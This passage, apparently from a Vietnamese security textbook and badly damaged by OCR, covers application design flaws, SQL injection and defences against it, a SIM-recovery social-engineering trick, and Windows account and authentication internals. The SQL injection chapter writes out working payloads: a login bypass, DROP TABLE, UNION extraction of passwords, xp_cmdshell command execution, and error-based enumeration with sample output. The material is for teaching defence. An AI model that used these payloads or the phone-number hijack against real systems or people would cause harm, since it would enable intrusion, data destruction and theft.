3.1/ Nguyén nhin ciia 15i

Nguyén nhan chi yéu cia 16i ndy nim trong khau thiét ké cac tinh nang cia
img dung. Nhimg nguoi thiét k& nhidu khi qué chii tdim vao nghiép vu chinh
ctia umg dung va két qua 13 khi lién két nhimg tinh néng cua tmg dyng lai dé
phuc vu mdt ddi trong ngudi ding nao dé thi xudt hién sy 16ng 1éo trong cic
rang budc vé bao mét. Piéu niy 1am cho nhitng ngudi khai théc tinh ¥ s& co thé
loi dung dé thuc hién nhimg céng viéc khong duge cho phép.

Vidu 1: khi 1ap trinh mét trang web cho phép ngudi quan tri thay d6i password
cta nguoi dung. Theo thiét ké, ngudi ldp trinh tao ra mét bang cé dang nhu

sau:
User name Password

Userl A % ook ok

USCI'Z e o ofe e sk ok

Va lic nay mot ngudi tinh y va ¢6 kinh nghiém vé Html s& dung chic ning
“view source” ciia trinh duyét dé xem password cua cac nguoi dung néu nguroi
quan tri vd y mo trang web nay 1én va vﬁng mat.

Vi du 2: khi 13p trinh mét trang web cho phép mdt ngudi la mat c6 thé ding ky
tai khodn ngudi dung dé dang nhép vao sir dung mét sb chirc néng nao do.
Theo thiét ké thi ngudi lp tao ra trang web dang nhu sau:

User l |

Password | [

Confirm | ]

Submit

Mbt ké tin cong cd thé viét mét chuong trinh dé thuc hién viéc ding ky lién
tuc gdy ra hao ton tai nguyén cia may chi va c6 thé din dén DoS.

3.2./ Giai phap phong tranh
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o Khi thiét ké mdt (mg dung, ngoai viéc tap trung vao nghiép vu chinh, nhimg
ngudi thiét ké cin phai tinh toén dén phan img phu gdy nén boi nhimg chirc
ndng ho trg xir ly nghiép vu chinh. Thong thudng nhimg phan ing phu ndy
la nguyén nhén tao ra cac k& hd vé chinh sdch bao mat cia ing dung,

e Nén tim hiéu va ap dung cic méu (pattern) vé bao mdt cho (mg dung.

Cé ké hoach giinh ky xem xét lai co ché hoat déng cia tmg dung dé kip théi phdt
hién ra va khic phuc nhimg k& ho.
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CHUONG V

GIAI PHAP VA QUY TRINH CONG NGHE CHO PHONG THU, BAO MAT
CAC UNG DUNG DUA TREN DATABASE.

I/ TONG QUAN VE TAN CONG CHEN MA SQL (SQL INJECTION)

SQL injection 12 mdt k¥ thuat tin cong khai thic 16 hdng cua viéc tao ra cac
phét biéu SQL cia nhimg img dung c6 tuong tic vdi co s& dir liéu.

Hién nay, hau hét tit ca cAc g dung déu cé su tuong tac vé6i co sd dir fidu, va
hau nhur viée yéu cu dit liéu déu do ngudi ding dwa ra. Do d6, khi tao ra mot phat
biéu SQL nio d6, ngudi lap trinh thudmg s€ dung nhimg dir liéu nguoi ding yéu cdu
dé xay dung nén phat bleu d6. Nhimg cudc tan cong dlen hinh thuong khai thac
diém nay dé thuc hién tin céng bang cach truyen mét sb dir liéu ma nguoi lap trinh
khong ludmg trude dwoc nhung vén tao duge mot phét biéu SQL ding. Nguyén nhan
cua 18 SQL Injection thudmg 1a do sy thidu sot trong viéc sang loc dir liéu.

11/ CAC HINH THUC TAN CONG CHEN MA SQL
1./ TAn cdng trye tiép qua cau lénh SQL

Tén cbng loai nay cod tac dung ngay sau khi cdu lénh SQL bi chén ma duge
thwe hién. Két qua cia né thudmg 1a lam thay ddi tryc tiép 1én hé théng bi tan
cong, vi du nhu: x6a database, x6a cac table, thay ddi database, thay ddi ciu
hinh hé diéu hanh, hacker doat dugc quyén khéng ché img dung...

Ta s€ khao sat qua mot s6 vi du dé hiéu rd hon vé loai tin cOng nay.

e Vi du 1: khao sat mot form dang nhép phd bién cia cac ing dung quan ly
dung co s& dir liéu SQL Server.
Thong thuomg mot form: ddng nhdp s& cho phép ngudi dung nhap vao user
name va password, sau d6 doan ma xir ly s€ tao ra phat bieu SQL tuong tr

nhu sau dé thuc hién viée kiém tra user name/password nhip vao ¢6 hop 1€
hay khéng:

SELECT * FROM tblUsers WHERE Username="+ txtUsername + "AND
Password="+ txtPassword + °

Vi txtUsername va txtPassword la hai gia tri do'ngubi dung nhép vao.

Dua vio su thiéu cén trong trong viéc xir ly céc ky tu dic biét cia ngudi lap
trinh truy xudt co s& dir ligu, ke tan cong s& nhip vao form véi username va
password nhu sau:

sr__J

User name = ° Q
Password = 'OR ''="’
Phat biéu SQL két qua s& nhu sau:
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SELECT * FROM tblUsers WHERE Username='" OR ''="'" AND
Password=""0OR ''="

Phat bidu SQL Iudn c6 két qua tra vé nhr mong dgi, do dé viéc ding nhép
ludn dugc thuc hién thanh céng trong moi trudng hop.

Vi du 2: khao sat mdt img dung quan 1y san phim dya trén web va co s¢ dir
liéu SQL Server
Trong ing dung nay, ngudi ding nhip mé s6 san phdm d& xem théng tin chi

tiét vé san phdm do. Yéu ciu dugc giri dén co so dit liéu thong qua mot phat
biéu SQL nhur sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = ProductID

. Véi ProductID duoc nhén tir trinh duyét thong qua phuong thirc POST hodt
GET. Khi nhin dugc ProductID, phia may chu xitr ly s& nhin va xiy dung
phét bidu SQL dé giri dén co sd dir lidu bang ngdn ngir kich ban phia may
chi (PHP, ASP, ISP, CGI, ...). Vi du nhu d6i v6i ngdn ngir ASP, phat biéu
SQL s& duoc tao ra bing doan mi sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = & Request. QueryString(“ProductID”)

Request.QueryString(“ProductID”) ¢6 thé nhan tham s truyén dén may cha
bang phuong thirc POST hoac GET. Vi du bing phwong thire GET nhu sau:

http://www.yourdomain.com/products/products.asp? ProductID=1234

Tuong {mg v&i yéu ciu niy, bd dich ciia ngdn ngit kich ban phia may chu s&
tao ra phat biéu SQL két qua nhwr sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234 -

Dua vao sy thiéu cén trong trong viéc kiém tra kidu dir lidu coa ngudi lap
trinh va co ché c6 the cho chay nhidu lénh SQL trong cing mdt phét biéu
cua SQL Server, ké tin cong s& nhdp dir lidu ciia minh dé thyc hién nhimg
cudc tin cong ¢ hau qua nghiém trong.

D& x6a mdt bang Products trong co s& dit liéu, ké tén cong c6 thé gii dén
may chu yéu cau nhu sau:
http:/fwww.yourdomain.com/products/products.asp? ProductID=1234;
DROP TABLE Products-- '

Phat biéu SQL twong tng sé& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234; DROP TABLE Products--

Dé lay théng tin vé tat ca user name, password trong co so dir liéu, ké tin
cong c6 thé giri dén may chi yéu cdu nhwr sau:

122



http:/fwww.yourdomain.com/products/products.asp? ProductID=1234
UNION SELECT Username, Password FROM Users

Phat biéu SQL trong (ng s& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234 UNION SELECT Username, Password FROM

Users

Nguy hiém hon nita, dé chay mét lénh ciia hé didu hanh, ké tin cong co thé
st dung stored procedure master..xp_cmdshell ctia SQL Server bing cich
giri dén may cha yéu cdu nhu sau:

hetp./fwww.yourdomain.com/products/products.asp? ProductiD=1234;
EXEC master.xp_cmdshell "dir C:\’--

. Phat biéu SQL twong g s& nhu sau:

SELECT ProductName, ProductDescription FROM Products WHERE
ProductNumber = 1234 EXEC master..xp_cmdshell ‘dir C:\" --

- Bing cich nay, ké tAn cong c6 thé thyc thi cac 1énh gtong nhu lam vigc
trong 1 cura s6 command prompt. Tir viéc shutdown hé théng dén x6a
sach toan bd hé thong hay tai virus, backdoor dé cai vao hé thong

2./ Khai thic thong tin thong qua théng bio 13i ciia database

Tén cong loai ndy chén vao ciu 1énh SQL cua img dung ma SQL thim do
thong tin clia hacker va lim cho tmg dung bi 16i khi thyrc thi cau Iénh SQL.
Néu img dung khong kiém tra 16i ky khi 14p trinh thi cic 15i nay s& dirgc thong
bao ra giao dién va di kém véi né 1a thong tin ma hacker mudn biét. Cac théng
tin thudmg bi 1iy cip 1a c4c tai khoan ngudi diing, thong tin vé thé tin dung...

Ta khao sat vi du sau vé loai tin céng nay: gia sir hacker tim dugc mét link sau
khi duyét web: http://www.example.com/test.asp?id=1.

Qua link, hacker ¢6 thé nhan xét ring tham sb id=1 s& dugc ding dé tao ra ciu
SQL ¢é goi xudng database. Dua vao link nay, hacker s& tao mét link nhu sau
va cho thure hién:

hitp://www.example.com/test.asp?id=1 UNION  SELECT ToP 1
TABLE NAME FROM INFORMATION SCHEMA.TABLES--

Trong loink, INFORMATION_SCHEMA .TABLES la mét table hé thong va
né bao gdm tit ca thong tin cua tht cd cac table cua server trong d6 cé mét field
TABLE_NAME ma né bao gdm tén clia tit ca table. Hay nhin lai query mét
1an nita: SELECT TOP 1 TABLE NAME FROM
INFORMATION_SCHEMA.TABLES.

Két qua «cia query nay la tén table diu tién tu
INFORMATION_SCHEMA.TABLES, va hacker UNION né véi 1 (sb
nguyén). Hacker s& nhin dugc mét thong bao 16i nhur sau:
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Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SOL Server]Syntax error converting
the nvarchar value 'logintable’ to a column of data type int. /test.asp, line...

Tir théng béo, rd rang 1 table th nht 1a “loginname”, dudng nhul table nay
bao gdm tén login va va password, va hacker sé tiép tuc thuc hién link sau:

http://www.example.com/test.asp?id=] ~ UNION  SELECT TOP I
COLUMN _NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE NAME='"logintable'--

Thong bao 16i:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting
the nvarchar value "login_id’ to a column of data type int.

/index.asp, line...

Théng bao trén cho thdy rang field ddu tién trong login table 13 login_id.
Hacker danh tiép:

hitp:/iwww.example.com/test.asp?id=1 UNION  SELECT TOP 1
COLUMN_NAME FROM INFORMATION _SCHEMA.COLUMNS WHERE
TABLE NAME='"logintable’ WHERE COLUMN NAME NOT IN (login_id’)--

Thong bao 16i:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsofi] [ODBC SQL Server Driver][SOL Server]Syntax error converting
the nvarchar value 'login_name’ to a column of data type int.

/index.asp, line...
Hacker biét dugc thém field 'login_name'. Hacker tiép tuc:

http://fwww.example.com/test.asp?id=1 UNION  SELECT TOP I
COLUMN _NAME FROM INFORMATION SCHEMA.COLUMNS WHERE
TABLE _NAME='logintable’ @ WHERE  COLUMN NAME NOT IN
(‘login_id' 'login_name')--

Théng bao 18i: _
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'passwd' to a column of data type int.

/index.asp, line...
Da thu thap du cdc tén field cn thiét. Hacker thuc hién ldy tén tai khoan:

http://www.example.com/test.asp?id=1 UNION SELECT TOP 1 login_name
FROM logintable--

Théng bao 15i:
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Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver][SQL Server[Syntax error converting
the nvarchar value 'Rahul’ to a column of data type int.

/index.asp, line...
Léy dugc tén ti khoan [a “rahul”. Hacker tiép tuc ldy password ctia “rahul”:

http://www.example.com/test.asp?id=1 UNION SELECT TOP I password
FROM logintable where login_name="Rahul'--

Théng bao 13i:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver][SQL Server[Syntax error converting
the nvarchar value 'P455w0rd’ to a column of data type int.

/index.asp, line...

Vay hacker liy duge thong tin tai khoan ngudi ding “rahul”, password
“P455w0rd”. T

3./ TAn céng bing chwong trinh client osql.exe

Néu databaes SQL Server khong dit password cho user sa, hacker ¢ thé dé
dang md két ndi dén database béang chinh tién ich client osql.exe c6 trong bd
SQL Server, va théng qua d6 nim toan quyén didu khién trén hé thong

IIL./ CAC GIAI PHAP PHONG THU

« Diy 1a mot 15 héng thudng mic > phai chu yéu do han ché vé nhén thic bao
mat cua ngudi lap trinh do d6 din d¢én nhitng so xudt trong ma xir ly. Pdng
thoi viéc thiét 14p céu hinh cho co s dit liéu ciing chua thét sy t6i wu do
nhitng ngudi chiu trach nhiém vé co s& dir liéu chura hiéu séu vé co s& dir
liéu do minh dam trach.

« Dé tranh dugc nhimg 16 héng trén, cin phai ciu hinh phan quyén cho co s¢
dir liéu thét su rd rang dé tranh nhitng ké tin cdng tir bén ngoa: théng qua
nhimg (mg dung (thuomg l1a website) cé thé ‘1o dung stored procedure
xp_cmdshell dé pha hoai hé théng. Vi dy: tmg véi moi Gng dung truy cép
vio mot co s& dir lidu nhét dinh thi ngudi quan tri cin tao mét ngudi ding
riéng cho viéc truy cdp thdng tin vao co s¢ dif liéu d6 va chi dinh cho ngudi
dung nay chi dugc phép truy cdp vao duy nhit mdt co s& dit liéu véi quyén
thong thuong 1a public.

o Tranh tinh trang la cic Umg dung ding ngudi dung “sa” dé ding nhap vao co
5O dir liéu.

o Dit strong password cho user sa. Tuyét d6i khéng dé password rdng cho
user nay.

e Vé phia canh 1dp trinh, ngudi 14p trinh cén phai thuc hién kiém tra bt 16i ky
¢ nhitng phan nhén thong tin nhu textbox, combobox, querystring... Trong
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vi du 2, néu ngudi lap trinh c6 thyc hién kiém tra kidu dit lidu ctia ProductID

thi chic chin phat biéu SQL cua ké tan cOng s& khong c6 co hdi dugc tao ra

(vi kidu dif liéu cia ProductID la sé nguyén, trong khi d6 ké tin céng nhip
- vao mét chudi 1234; Drop...)

e Cin kiém tra bit hét nhimg ky tu dac biét d6i véi co sd dit lidu dang sir
dung. Vi du déi véi SQL Server thi can phal kiém tra phét hién du nhdy
don, nhay kép, gach noi... Trong vi du 1, néu ngudi ldp trinh ¢6 thye hién
klem tra bit va xir 1y thich hgp cho ddu nhdy don va thi phat biéu SQL cua
keé tin cong s& khdng co co hdi dwoc tao ra hodc néu duoc tao ra thi ciing bj
v6 hiéu hoa.

o Khong nén dung phwong thirc GET trong ldp trinh web, thay vao d6 nén
dung phueong thirc POST.

Khi 13p trinh, nén sir dung nhirg tién ich an toin ciia ngdn ngir cung cip dé
twrong tic véi database, khong nén truy xuidt xudng database bing ciu lénh
SQL duge thiét 1ip bing cich ghép chudi don gidn. Vi du: néu 13p trinh bing
NET thi nén ding cic d6i twong SQLParameter dé thyc hién viée rap cic
tham sé vao cau SQL...
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CHUONG VI ) o ] ‘
TONG QUAN CAC VAN PE CHINH SACH NGUOI DUNG.

1/ CHINH SACH BAO MAT LA GI

Chinh sach bao mat 12 mét tap hop céc quy tic do mét don vi to chirc dit ra
dé bao dam sy an toan cho hé théng mdy tinh va dit liéu cia don vi td chic minh.
Cac quy tic niy bao gdm tit ca nhitng gi lién quan dén viéc bao dam an toan cho hé
théng nhu: cic quy dinh st dung mdy tinh cho nhén vién, quy dinh v& sao hru an
toan dir liéu, quy dinh vé cach dit password, quy dinh vé cach dit tén tai khoan
ngudi dung, quy dinh st dung email, quy dinh cai dat phin mem, quy dinh truy cap
Internet, phan quyén st dung. .. . va tit ca cac quy tic nay sé& hd trg cho nhau dé tao
nén mot hé théng tin an toan cho 6 chirc.

Cén ché ¥ 13 cic quy tic ciia chinh sach bio m4t khéng phai chi don gidn
dimglai & nhimg vAn dé k¥ thudt nhu phai cai dit firewall ndo, phai tit/m& nhimg
dich vu ndo, phai phan quyén truy cép ra sao... ma con c6 ca nhimg quy tic lién
quan dén viéc quan 1y cong viéc, quan Iy con ngudi, co ché 1am viée... noi chung la
tat ca nhimg gi dé chdng lai va phong tranh nhimg nguy co lam t8n hai dén hé thong
tin.

Vi du vé mot quy téc bao mét va k& ha cia né:

e MOt nha cung cép dich vu dién thoai di dong c6 quy dinh nhu sau: dbi voi
nhimg khach hang thué bao tra truéc nao mubn xin lai sb da bi mat thi cin
phai cho biét it nhat 5 s6 dién thoai da timg giao dich véi s6 mubn xin lai.
S& di nha cung cip phai ban hanh quy tic nay la dé phong chéng tinh
trang c6 kKhach hang nao do6 muén “xin lai” mét s6 dién thoai minh thich
di d6 khéng phai 13 s6 minh bj mét. Ta co thé xem diy 1a mot quy tic
trong chinh sach bao mét cia nha cung cip.

e Tuy nhién d6i véi nhimg khdch hang tinh y thi quy tac bao maét trén cé
mdt k& hé va ho ¢6 thé lgi dung né dé “xin lai” mdt s6 dién thoai dep ma
ngum khéc dang st dung nhur sau: ho s€ dung 5 sb dién thoai khac nhau
de goi vao s0 ciia nan nhan, ta tam goi 1a s6 X, va ¢d tao mét cugc dam
thoai ngén. Sau d6 ho s& dén nha cung cap va néi la mm “bi mat” sé dién
thoai X. Khi nha cung cip yéu ciu cho biét it nhat 5 56 dién thoai da timg
giao dich thi ho s& doc ra 5 s0 ma ho da goi dén 56 X. Piéu kign dugc théa

nén nha cung cip sé& hity bo sim chira 6 X ctia nan nhén di va cAp sim méi
cho ngudi di “xin lai”.

IL/ TONG QUAN VE BAO MAT TREN NEN WINDOWS VA CAC CHINH
SACH BAO MAT

1./ Tim hiéu cic co ché bio mit cia Windows nén NT
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Co ché bao mét ciia Windows NT vé nén tang 14 sw chimg thuc quyén truy cip
tai nguyén hé théng cfing nhu tai nguyén mang & trong mdi trudng mang may
tinh cua nguoi dung, trong 46 ngudi ding ching ta cling xem nhu mjt dang tai
nguyén cin bao vé. khi ngudi dung hé thong cin phai ding nhap hé théng
théng qua tai khoan ngudi (User Account) thé hién qua username va password.
Céc tai nguyén cua hé théng ciling nhur tai nguyén mang dugc dinh nghia dudi
dang dbi tuong bao mat (object security).

2./ Cac thanh phin bio mit trong Windows 2000 va 2003.

e Security reference monitor (SRM): diy la thanh phan chiu trach nhiém thuc
hién céc viéc kiém tra bio mat trén tai nguyén hé théng.

e Local security authority subsystem (Lsass) : ddy la thanh phan chiu trach
nhiém cho cac chinh sich bdo mét hé théng cuc bo. 12 mét tién trinh chay &
* user — mode.

e Lsass policy database: la co s¢ dit ligu chita nhimg cai dit chinh sach bao
mat hé thong cuc bg.

e Security Accounts Manager (SAM) service : La mdt tip cdc tién trinh chiu
trach nhiém quan tri co s& dir liéu SAM.

¢ SAM Database: 1a mdt co s¢ dir liéu chita cac thong cia User Account va
Group Account cuc bo.

e Active Directory: l1a mét dich vu thu muc chira mét co s& dir liéu vé thong
tin cac dbi tugng trong mot Domain.

e Authentication Packages: 1 nhitng DLL chay trong tién trinh Lsass.

e Logon Process (Winlogon): chay ¢ ché 4§ User — mode chiu trach nhiém
phan hdi SAS va quan li Logon Session.

* Graphical Identification and Authentication (GINA): la m{t thu vién DLL
chay trong tién trinh Wmlogon chiu tric nhiém 14y username va password tir
ngudi dung nhap vao.

e Net Logon Service (Netlogon): 1a mjt dich vu Win32 chju trch nhiém phén
hoi Microsoft LAN manager 2 cia Windows NT.

o Kernel Security Device Driver (KSecDD): 1a thur vién trong kernel - mode
cua cac ham, né cai dit Local Procedure Call (LPC). Va nhlrng thanh phén
bao mat khac nhu Encrypting File System (EFS), dung két ndi v&i Lsass.

3./ Tai khoan ngwéi dung (User Account).
Tai khoan nguoi ding 1a mdt chudi nhdn dang giup hé théng phan biét giira
ngudt ding ndy va ngudi ding khéc trong hé thdng v mé ta cic quyén truy
cdp va ddc quyén cho nguoi ding hé thong thong qua tai khodn ma ngudi
dung c6 thé dang nhép h¢ théng va truy cdp cac tai nguyén hé théng theo céc
quyén ma hé théng cip cho tai khoan ngudi ding ding nhip. bén canh d6
Windows nén NT c¢on cung cip mét loai tai khoan khéc 13 tai khodn nhém |
(Group Account), tai khoan nhém 14 tai khoan ding dé quan li nhiéu ngudi

128 )



ding c6 chung mot quyén truy cap va dic quyén. sy khdc nhau cin ban cia tai
khoan nhém va tai khodn ngudi ding 14 tai khoan nhém khéng dugc dé ding
nhip hé thong duge.

Phan loai tai khoan ngwdi ding:

¢ Tai khoan ngudi ding cuc bd(Local User Account): [a tai khodn ngudi ding
duoc dinh nghia trén may tinh cuc b, chi dwoc phép ding nhip va truy cip
cAc tai nguyén clia may dang st dung c6 dinh nghia tai khoan nay.

e Tai khoan ngudi ding ving (Domain User Account): 1a tai khoan ngudi
dung dugc dinh nghla trén LANManager dbi véi Windows NT va Active
Directory ddi véi Win2000 va Win2003 Server. Dugc phép ding nhap vao
mang véi bit ky may tinh nao trén mang thudc viing va truy cap tai nguyén
mang.

CAu triic tai khoin ngudi ding
V& mit cdu tric tai khoan ngudi diing gdm céc phén.

o Username: la tén dang nhp cia ngudi dung. Tén ndy ngudi ding dit khi tao
ta1 khoan nguon diung.

¢ Password: 1a mit m3 ngudi ding, hé théng s€ khong luvu mét ma nay, tuy
nhién hé théng chi hru trir nhitng théng tin do password sinh ra dé thye hién
chiing thuc khi ngudi ding dang nhip vao hé théng qua trinh chimg thyc
ching ta s& ban sau. Thuong cac théng tin do password sinh ra cic gia tri
bam.

e SID (Scurity Identifier): déy 1a mdt ) nhan dang duy nhét. vé miit ciu tric
bao gom mdt s6 revision number , mot s6 identifier authority 48-bits, va mdt
hozc nhiéu gia tri subauthority 32-bits hoic gia tri relative identifier (RID).

Tuy nhién khi hién thi dudi dang chudi thi SID ¢6 gin thém ki ty *S’ & phén
dau. vi dy nhur:

SID: S-1-5-21-1463437245-1224812800-863842198-1128.

Trong SID nay revision number la 1, identifier authonty la 5, va 4 gia tri
subauthority cgng thém phan dudi la mét RID (1128).
Ngoai cac tai khoan ngudi ding hay tai khoan nhom thi may tinh, domain,
thanh vién domain ciing c¢6 mét SID.
Mic dinh khi ta Windows thi chuong trinh cai dit tao ra mdt SID cho miy
tinh, va dong thoi ciing tao ra cac SID cho tai khoan ngudi dung va tai
khoan nhdm cg‘ii san dva trén mét SID dugc tao ra cua may tinh va thém mét
RID ¢ cudi, d6i vai tai khoan nhom va tai khodn ngudi dung thi RID bit dau
la 1000 va ting lén mét khi ¢6 mdt tai khoan mai.

Tai khoan ngudi ding va tii khodn nhém cai sén.

Tai khoian ngwoi ding

Tén Tai Khoan Mo ta Méi Trudng
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Administrator Administrtor 1 tai khoan dic biét | Local va
c6 todn quyen trén may tinh. Doamin

Guest Tai khoan nay cho phép nay cho | Local va
phép ngudi ding truy cip mdy | Doamin
tinh néu ho khdéng cé mdt tai
khoadn riéng. Trong windows
2000 va 2003 mac dinh tai khoan
nay khong duoc sit dung.

ILS Anonymous User |La tai khoan dic biét dwc ding | Local va
cho ILS. Doamin

IUSR_ComputerName La tai khoan dic biét Eiu’qc diung | Local va

- trong cac truy cdp gidu tén cua | Doamin
IIS trén may tinh cé cai IIS.

IWAM_ComputerName | La khoan dung cho IIS khai dong Local va
cac tién trinh cua cac img dung | Doamin
trén may tinh c6 cai IIS.

Krbtgt La tai khoan dac bi€t dugc dung | Domain
cho dich vu phén phéi khoa (Key
Distributed Center)

TSInternetUser La tai khoan dugc biét dugce | Domain
dung cho Terminate Service

Cic tai khodn nhém cai sin
Tén Tai Khodn Mo Ta Mai Truong
Account Operator Thanh vién nhém niy c6 thé tao | Domain
: tai khoan nguoi ding ving, tai
khodn nhém, nhung chi c6 the
‘quan li céc tidn khoan do ho tao
ra. :

Administrator Nhom nay c6 toan quyén trén hé | Domain va
théng vi quyén truy cép. thanh | Local
vién cua l}hom nay mac dinh quan
li duge tat ca cac ddi fugng trén
may tinh.

BackUp Operator Thanh vién nhém nay c¢6 quyén | Domain va
backup va phuc hdi hé théng tip | Local
tin.

Guest La nhém b han ché quyén truy | Domam va
cdp tai nguyén mang. thudmg | Local

thinh vién nhém nay 14 nguoi
dung khong thudmg xuyén
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Power Users

Nhém ndy c6 it quydn hon
Administrstor nhung c6 nhiéu
quyén hon nhém Users. Nhém
ndy cé thé tao tai khoan ngudi
dung va nhém, nhung chi quan li
duoce cac tai khoan do minh tao ra.
Va thanh vién thudc nhém ciing
¢6 thé chia s& tai nguén mang.

Local

Print Operator

Thanh vién nhém ndy c6 quyén
quan tri mdy in.

Domain

Replicator

Nhém nay dugc dimg dé hd tro
viéc tao ban sao thu muc.

Domain va
Local

Server Operator

Thanh vién nhém nay co thé quan
tr] cic may server.

Domain

Users

Mic dinh khi ngudi ding dugc
tao thudc nhom nay, nhom nay cé
quyén tdi thidu cia md nguoi
dung.

Domain va
Local

Cert Pulishser

Thanh vién nhém nay cé thé thyc
hién chirc thuc.

Global

DHCP Administrator

Thanh vién nhém nay cé quyén
quan li du vy DHCP.

Domain

DHCP USer

Thanh vién nhom ndy c6 thé sir
dung dich vu DHCP.

Domain

DnsAdmins

Thanh vién nhém niy cé thé quan
li DNS.

Domain

DnsUpdateProxy

Thanh vién nhém nay cho phép
cac mdy tram DNS gd&i yéu cdu
DNS thay cho cdc may tram khac.

Domain

Domain Admins

Thanh vién nhém ndy cé toan
quyen quan tri trén ving.

Global

Domain Computers

Nhom nay chira tat ca cic may
tram va server, nhu 1a mgt phan
cua vung.

Global

Domain Controllers

Nhém ndy chita ciac may diéu
khién viing.

Global

Domain Guests

L4 nhém cé quyén truy cép gidi
han trén vung. Chi ¢6 thé truy cép
mdt sé tai nguyén nhét dinh ndo
do.

Global

131




Domain Users Nhém nay chira tt ci ngudi ding | Global
trong viing, va cé quyén tdi thiéu
ma mot ngudi ding sé cin.
Enterprise Admins Nhém nay cé quyén quan ly théng | Global
tin cia cac cdng ty lién quan dén
hé thong.
Group Policy Creator Nhém niy c¢6 quyén hiéu chinh | Global
Owners cac chinh sich bao mét trong
ving.
RAS va ISA Server Nhém nay chira théng tin vé dich | Domain
vu truy cdp tir xa va dich vu
chirng thuc internet.
Schema Admins Thanh vién nhém niy c6 thé hiéu | Global
chinh luge d6 Active Directory.
WINS User Thanh vién nhém ndy ¢ quyén c¢6 | Domain
quyén xem thdng tin trén dich vu
WINS (Windows Internet Name
Service)
Co ché chimg thyc login.
! Lsass H
Wiry LPC ! NetLogon . .
Inogon -‘——-——-q". LSA server service H
process : : Network
Msgina : Kerberos :
: service :
' == :
P 131218 T :
P 18)S13 :
: &|eo Authentication :
¢ 3 packages :
i | Active Directory SAM :
server server :

Cac thanh phin yéu cau trong Logon.
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Windows 2000 va 2003 Ludn yéu cau nguroi ding dﬁng nhap vao h¢ thong
(Log on) trudce khi cho phep truy cap bat cit tai nguyén nao vé ban chit day la
mot bude ching thyc ngudi ding.

Nhir ching ta thdy trén hinh Winlogon 1la mdt tién trinh nim trén mot
Graphical Identification and Authentication (GINA) DLL dé lay user name va
password clia nguoi ddng nhdp sau d6 né goi Local security athority subsystem
(Lsass) dé chimg thuc ngudi ding néu trén may cuc bd thi Lsass sit dung co
ché chimg thuc MSV1_0 néu chimg thuc Domain User thi sit dung co ché
chimg thuc Kerberos.

Cac budc trong tién trinh ding nhap cia hé théng thuc hién.

1) Tao va mé ra clra sb twong twong tAc (interactive window station),
\Windows\WinSta0 dé thyc hién két néi ban phim, chudt, va man hinh.

2) Tao ra ba desktop: mot application desktop
(Windows\WinSta0\Default), mdt Windows Logon Desktop
(\Windows\WinStaO\Winlogon ), Screen  Saver  desktop
(\Windows\WinStaO\Screen-Saver ). Pé chuyén vé Winlogon Desktop
ta nhén bd ba phim Ctrl — Alt — Del.

3) Thiét lap mot Local Procedure Call (LPC) két ndi téi mdt cdng cia
Local security authority subsystem (Lsass) ia LsaAuthenticationPort,

két ndi nay dung ¢é chuyén déi thdéng tin trong qud tring Log on, Log
Off.

4) Khdi tao va dang ky mét cdu tric dit liéu lop clra s6, két hop thu tuc
Winlogon véi mét cira s s& tao ra sau do.

5) Dang ky SAS, 1a bg ba phim (Ctrl — Alt - Del), véi cira s6 mdi tao ra,
dé bao dam rang thu tuc Winlogon s& thurc hién bét cir khi nio SAS
dugce nhén.

6) Ding ky Screen Saver vdi ciia sé ndy dé dam bao thu tuc niy sé& thuc
hién khi nguoi dung Log Off hodc téi thot gian Screen Saver.

Cac giao thirc chirng thure.

* Kerberos : La mjt giao thirc chimg thyc mang, dung chimg thuc ngudi ding
viing. N6 dugc thiét ké de cung cap co ché chimg thyc manh cho nhiing g
dung client — server . vé loi ich, giao thirc chirng thuc Kerberos linh hoat va
hiéu qua hon giao thirc NTLM, dang thdi né bao mat hon, cy thé:

1) Chimng thirc hiéu qua hon dbi véi server: v6i phuong phap chimg thuc
NTLM, mét ing dung server phai két néi dén timg Domain Controller
dé chimg thuc mdi Client, nhung v4i phuong thirc chimg thyc
Kerberos, server khéng cin phai dén timg Domain controller nhung
no thuc hién chung thuc bang cach klem tra gidy uy nhiém dugc dua
ra bai client. Client c6 thé sir dung gidy chimg thuc cho mét Server

chuyén biét mét 1an hodc c6 thé sir dung lai thong qua network logon
session.
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2) Tuong tic qua lai [in nhau: nhimg m4y & hai dAu clia két néi c6 thé
biét duoc cic may & diu bén kia 13 nhimg mdy ma ching hudng t6i.

3) chimg thyc uy thac: khi nhing dich vy windows déng vai tro client
khi truy xuét tai nguyén téi chinh no. Trong nhiéu truong hop, diéu
nay dugc thyc hién thanh cong khi truy xuit tii nguyén & nhitng may
cuc bd. Tuy nhién, d5i véi nhitg mg dung phén tén s& gdp kho khan.
Phurong thirc kerberos ¢6 mdt co ché uy thac cho phép mot dich vu c6
thé déng vai trd 12 mot may client khi két ndi vao nhimg dich vu khic.

4) Don gian hoé viée quan ly d9 tin céy
5) (¢ kha nang vén hanh 14n nhau

< MSV1 0: 1a mét giao thirc chimg thuc ngudi dung trén may cuc bd cua
. windows 2000.

< NT LAN Manager (NTLM): 12 mdt hé théng chimg thyc ngudi ding ving
trong windows NT.

% Secure Socket Layer/ Tranport Layer Security (SSL/ TLS): 1a chimg thuc
cac truy cap web.

¢ NET Authentication.
4./ Chinh sach bao mjt.
Céc chinh sach bao mit bao gdm:
Chinh sach bao mét Mo ta

Account policies (nhing | Bao g("im' Chinh sach vé Password, Account
chinh sach vé tai khoan) | Lockout, va Kerberos

Local Policies (nhimg Bao gbm Chinh sach vé Audit (kiém tra), gin
chinh sach cuc bj) quyén han cho ngudi ding (User Rights
Assignment), va Security Options

Event Log Bao gdm img dung, hé thong, va security Event
Log settings

Restricted Groups La thanh vién cla security-sensitive groups

